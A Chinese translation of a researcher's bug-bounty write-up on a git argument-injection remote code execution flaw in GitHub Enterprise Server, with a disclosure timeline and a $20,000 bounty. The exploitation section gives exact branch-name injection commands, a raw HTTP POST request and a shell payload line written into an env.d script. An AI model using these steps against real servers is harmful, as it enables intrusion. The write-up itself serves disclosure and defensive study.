聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

我开始研究 GitHub已经有段时间了,于是决定看看GitHub企业版 (GHE) 碰碰运气。GHE虽然被混淆,但它的目的只是为了不让客户搞砸。稍微从网上搜索一下就会发现有很多脚本可用于解码,然后就会得到 rails 的常规ruby文件。

注:本文作者最近从 GitHub 获得6.1万美金的奖金,并分享了其中3笔最大的奖金。本文为第一笔。

距离我上次给 GitHub报漏洞已经过去一年左右的时间了,与使用以-开头的分支名称将选项注入 git 命令有关,可使攻击者截短服务器上的文件,我认为可以从这个地方开始检查下是否引入了类似漏洞。

漏洞发现

于是我开始搜索所有调用 git进程的地方,之后追踪参数查看它们是否是用户可控的及是否被正确地清理。多数地方要么把受用户控制的数据放在命令中的--之后,使这些数据永远不会被解析为一个选项;要么检查是否为有效的 sha1或可 commit 的值且不以–开头。

过了一会儿,我发现了 reverse_diff方法,它进行了两次提交,并最终与它们一起运行了一个 gitdiff-tree,而执行的唯一检查是仓库中都有两个有效的 git引用(sha、branch、tag 等)。向后追溯可知,该函数由 revert_range 方法调用。两个之前的wiki commit 进行回滚时就会使用该方法。因此user/repo/wiki/Home/_revert/57f931f8839c99500c17a148c6aae0ee69ded004/1967827bcd890246b746a5387340356d0ac7710a 的一个 POST最终会调用具有57f931f8839c99500c17a148c6aae0ee69ded004 和1967827bcd890246b746a5387340356d0ac7710a值的 reverse_diff。

完美!我查看了一个仓库并通过git push origin master:--help  推送出一个新的分支–help,之后尝试 post到user/repo/wiki/Home/_revert/HEAD/--help。但结果并未返回 422 Unprocessable Entity 的成功提示信息。查看服务器日志后发现问题在于 CSRF 令牌无效。结果发现 rails 当前的 CSRF令牌是基于所 post 的路径而生成的。虽然并未检查查询参数,但在这个案例中,该路径设置为 commit仅允许路径参数。

回滚的形式以及有效令牌是由 wiki比较模板生成的,但遗憾的是,它的验证更加严格,且要求提交有效的 sha哈希。这意味着我们无法为 –help 分支呈现有效的表单和令牌,仅为有效的 commitsha 呈现。

深挖rails 中的 valid_authenticity_token? 方法后发现,绕过每个表单 CSRF 的另一种方法是使用全局令牌,因为存在这样一个代码路径,可以在转换时使现有表单向后兼容。

def valid_authenticity_token?(session, encoded_masked_token) # :doc:if encoded_masked_token.nil? || encoded_masked_token.empty? || !encoded_masked_token.is_a?(String)return falseendbeginmasked_token = Base64.strict_decode64(encoded_masked_token)rescue ArgumentError # encoded_masked_token is invalid Base64return falseend# See if it's actually a masked token or not. In order to# deploy this code, we should be able to handle any unmasked# tokens that we've issued without error.if masked_token.length == AUTHENTICITY_TOKEN_LENGTH# This is actually an unmasked token. This is expected if# you have just upgraded to masked tokens, but should stop# happening shortly after installing this gem.compare_with_real_token masked_token, sessionelsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2csrf_token = unmask_token(masked_token)compare_with_real_token(csrf_token, session) ||valid_per_form_csrf_token?(csrf_token, session)elsefalse # Token is malformed.end
end

虽然全局 CSRF令牌经常以 csrf_meta_tags 助手的形式分发给客户端,但是 GitHub 实际上锁定了一切,搜索了很久之后我依然没有发现能够泄漏全局令牌的地方。GitHub 甚至还在每个表单 CSRF 未正确设置的情况下发出警报,因为这样做会泄漏全局令牌。

我花了很长时间搜索绕过此方法(即令牌是由 rails生成的)的方法,只要我能够使它使用诸如wiki/Home/_revert/HEAD/--help 的路径,那么它与表单的创建位置无关。对 GHE 和 rails 代码进行了大量深入的搜索和挖掘后,我空手而归。我确实在 github.com上找到了一些已存档的html 页面,这些页面表明之前被分发的全局令牌不再分发。GitHub 将用于用户会话的全局 CSRF 令牌存储在数据库中,因此我决定继续从这里获取全局令牌,先把查找方法的事放一放。

Exploit

我在 GHE服务器上安装并运行了来自 perf-tools中的 execsnoop,仔细查看了在做回滚时运行的确切 git 命令,结果发现它以https://admin.lx.qianxin.com/work/emc/accounts-management/list的形式呈现。diff-tree git 命令有一个选项 --output,使你能够将输出写入文件而不是直接输出结果,因此将 HEAD用作第一个 commit,将–output=/tmp/ggg 用作第二个 commit,将会把文件的最新 diff写入 /tmp/ggg。

因此,我向 wiki仓库推送了一个名为--output=/tmp/ggg 的新分支,之后使用从数据库拿到的 authenticity_token user/repo/wiki/Home/_revert/HEAD/--output%3D%2Ftmp%2Fggg做了一个 POST。从服务器上可看到,文件 /tmp/ggg 已经通过 diff的输出得以创建。

9ea5ef1f10e9ff1974055d3e4a60bec143822f9d
diff --git b/Home.md a/Home.md
index c3a38e1..85402bc 100644
--- b/Home.md
+++ a/Home.md
@@ -1,4 +1,3 @@Welcome to the public wiki!-3
+2

接下来就是搞清楚下一步该怎么做。文件可写入 git 用户可访问的任何地方,而文件末尾的内容是完全可控的。经过多次搜索后,我发现了一些可写的 env.d目录(如 /data/github/shared/env.d),其中包含一些 setup 脚本。当服务启动或者命令运行时,这些目录中的文件就被引用:

  for i in $envdir/*.sh; doif [ -r $i ]; then. $ifidone

由于 .script.sh不要求文件是可执行的,而 bash在遇到出错信息时会继续运行脚本,因此这意味着如果写入的 diff包含一些有效的 shell 脚本,那么它将会被执行!

现在,万事俱备,可以 exploit该bug 了:

1、   从数据库获取要给用户 CSRF令牌

2、   创建一个包含; echo vakzz was here > /tmp/ggg 的wiki 页面

3、   编辑wiki 页面并增加一行新文本:#anything

4、   克隆 wiki 仓库

5、   通过注入的标记推送一个新的分支名称:git push originmaster:--output=/data/failbotd/shared/env.d/00-run.sh

6、   使用 burp或 curl,通过数据库中的authenticity_token,post 到user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh

POST /user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: user_session=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Length: 65
authenticity_token=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%3d

7、   检查服务器,查看文件已通过我们的 diff创建:

$ cat /data/failbotd/shared/env.d/00-run.sh
69eb12b5e9969ec73a9e01a67555c089bcf0fc36
diff --git b/Home.md a/Home.md
index 4a7b77c..ce38b05 100644
--- b/Home.md
+++ a/Home.md
@@ -1,2 +1 @@
-; echo vakzz was here > /tmp/ggg`
-# anything
\ No newline at end of file
+; echo vakzz was here > /tmp/ggg`
\ No newline at end of file

8、   运行引用我们的 diff的文件并检查是否可以正常工作:

 

./production.sh
./production.sh: 1: /data/failbotd/current/.app-config/env.d/00-run.sh: 69eb12b5e9969ec73a9e01a67555c089bcf0fc36: not found
diff: unrecognized option '--git'
diff: Try 'diff --help' for more information.
./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh: index: not found
./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: ---: not found
./production.sh: 5: /data/failbotd/current/.app-config/env.d/00-run.sh: +++: not found
./production.sh: 6: /data/failbotd/current/.app-config/env.d/00-run.sh: @@: not found
./production.sh: 7: /data/failbotd/current/.app-config/env.d/00-run.sh: -: not found
./production.sh: 2: /data/failbotd/current/.app-config/env.d/00-run.sh: -#: not found
./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh:  No: not found
./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: +: not found
./production.sh: 11: /data/failbotd/current/.app-config/env.d/00-run.sh:  No: not found
$ cat /tmp/ggg
vakzz was here

到了这个阶段,即使无法绕过每个表单 CSRF令牌,我仍然决定将问题报告给 GitHub。底层问题仍然非常严重,GitHub 未来发布的补丁可能会不慎泄漏该全局令牌或者更改路径,接受查询参数,从而易受攻击。

在15分钟内,GitHub 就对该 bug进行分类并告知我称正在查看该 bug。几个小时后,他们通过邮件证实了该底层问题的存在并表示他们无法找到绕过每个表单令牌的方式,提到这可能是严重的问题,幸运的是他们在 CSRF设置中找到了。我发送了我尝试绕过每个表单的方法总结以及会导致泄漏的可能点,并表示我认为该漏洞基本上不可能遭利用。

该 bug本身是严重的,但由于无法被利用,因此我无法判断出 GitHub将颁发的奖金数额,或者甚至无法判断是否会颁发奖金。最后我收到了一个大大的惊喜。

时间线

  • 2020年7月25日01:48:02 AEST –在HackerOne提交漏洞报告

  • 2020年7月25日 02:05:21 AEST  –  GitHub 诊断该bug

  • 2020年7月25日 09:18:28 AEST  –  底层问题得到证实

  • 2020年8月11日–  GitHub Enterprise 2.21.4 发布,问题修复。

当在 GitHubEnterprise Server 上执行 Git子命令时,攻击者可注入恶意参数,从而能够以部分受用户控制的内容覆写任意文件并可能在 GitHubEnterprise Server 实例上执行任意命令。要利用该漏洞,攻击者需要具有访问 GHES实例中仓库的权限。然而,由于存在保护措施,我们无法识别出活跃利用该漏洞的方法。该漏洞已通过 GitHub安全漏洞计划项目提交。

  • 2020年9月11日02:52:15 AEST –颁发2万美元的奖金

推荐阅读

详述 Discord Desktop app RCE 挖洞经过,最后得$5000 + $300 (含 PoC 视频)

哭!有人偷了我的漏洞报告,还冒领了奖金!

对 *.google.com/* 产品进行大规模的 CSRFing 研究,意外获得3万美元奖金

奋战3个月,我们挖到55个苹果漏洞,获得近30万美元奖金

原文链接

https://devcraft.io/2020/10/18/github-rce-git-inject.html

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 吧~

我从GitHub 企业版找到严重的 RCE 漏洞,意外得$2万奖金 (GitHub $6.1万系列之一)...相关推荐

  1. 通过开放重定向接管 GitHub Gist 账户,获奖$1万(GitHub $6.1万奖金系列之三)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 在上篇文章中,我们探讨了针对每种形式的 CSRF 令牌的绕过,当时我在研究可用于生成 url 的每种方法,试图找到可用于创建所需令牌的 ...

  2. 英国国家网络安全中心:速修复严重的 MobileIron RCE 漏洞 (CVE-2020-15505)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 提要 近日,英国国家网络安全中心 (NCSC) 发布警告,督促所有组织机构修复位于 MobileIron 移动设备管理 (MDM) 系 ...

  3. 利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 专栏·供应链安全 数字化时代,软件无处不在.软件如同社会中的"虚拟人",已经成为支撑社会正常运转的最基本元素之一,软件 ...

  4. GitHub企业版xxx

    GitHub企业版xxx 1. 背景 开发团队用atlassian系列软件系统进行故障跟踪和团队协作,VCS用SVN(安装了bitbucket,未普遍使用). 代码走查一直做的不太好,主要原因是这个风 ...

  5. ZenHub已集成于GitHub企业版

    ZenHub是一款集成于GitHub的项目协作与管理工具.最新版的ZenHub已集成于GitHub企业版. \\ ZenHub提供了一个Chrome扩展插件,当浏览器跳转到GitHub页面时,扩展插件 ...

  6. 如何快速在GitHub上找到感兴趣的开源项目

    / /前段时间公司的版本管理系统从SVN切换到GIT,熟悉了GIT后又对GIT的生态作了一下了解,发现对于软件开发人员或对科技感兴趣的人来说,GitHub可以说是打开世界的一把金钥匙.GitHub是一 ...

  7. 分享:我是怎么在github上找到优秀的仓库的?

    大家可以注意到,我经常向大家推荐优秀的github仓库,可能大家有疑问:怎么样找到优秀的github仓库呢?本文分享下我是怎么在github上找到优秀的仓库的? 通常情况下,在github上查找优秀的 ...

  8. 如何在Github上找到“最受欢迎的存储库”? [关闭]

    本文翻译自:How to find out "The most popular repositories" on Github? [closed] Once upon a time ...

  9. GitHub 企业服务器被曝高危 RCE 漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 今天,GitHub 在官网上发布消息称,在 GitHub Enterprise Server 中发现一个远程代码执行漏洞,编号为 CV ...

最新文章

  1. 基于GAN的图像水印去除器,效果堪比PS高手
  2. Centos6.7安装docker1.7.1
  3. 使用fpm简单制作自定义rpm包
  4. Makefile中打印变量
  5. heartbeat之part2
  6. HTML标签meta在seo中的作用
  7. C++字符串详解(三) 字符串的增删改
  8. JZOJ 100043. 【NOIP2017提高A组模拟7.13】第K小数
  9. 一个球从100 米高的自由落下的反弹高度
  10. linux centos 7 crontab 启动,CentOS 7 Linux执行crontab 计划任务实操 - 好应网
  11. Appium运行时,error: Logcat capture failed: spawn ENOENT的解决办法
  12. spring cloud微服务_面试败给微服务?别怕,我带你一起手撕Dubbo,SpringBoot与Cloud...
  13. SQLite使用报告
  14. 使用PHP和GZip压缩网站JS/CSS文件加速网站访问速度
  15. 山东大学研究生计算机学院导师,山东大学计算机科学与技术学院研究生导师简介-杨义军...
  16. [1-1] 把时间当做朋友(李笑来)Chapter 1 【心智的力量】 摘录
  17. 分布式ID生成器-订单号的生成(全局唯一id生成策略)
  18. GN+NINJA环境搭建(MacOS Windows)
  19. NET性能优化-推荐使用Collections.Pooled(补充)
  20. Vue 移动端项目创建

热门文章

  1. Gentoo下cacti的安装
  2. ubuntu终端连接远程计算机
  3. 怎样获取UIWebView 的文字的高度
  4. “才子进销存”新一代真正基于互联网(Internet)的进销存分销管理软件
  5. Elasticsearch Java Low Level REST Client(读取响应)
  6. 工业互联网方案商“全应科技”获明势领投Pre-A轮融资
  7. 容器中运行Fabric区块链网络
  8. PHP 生成csv的遇到的分隔符问题
  9. 《JavaScript面向对象精要》——1.2 原始类型
  10. openstack云计算实践-老男孩架构师课程教案笔记分享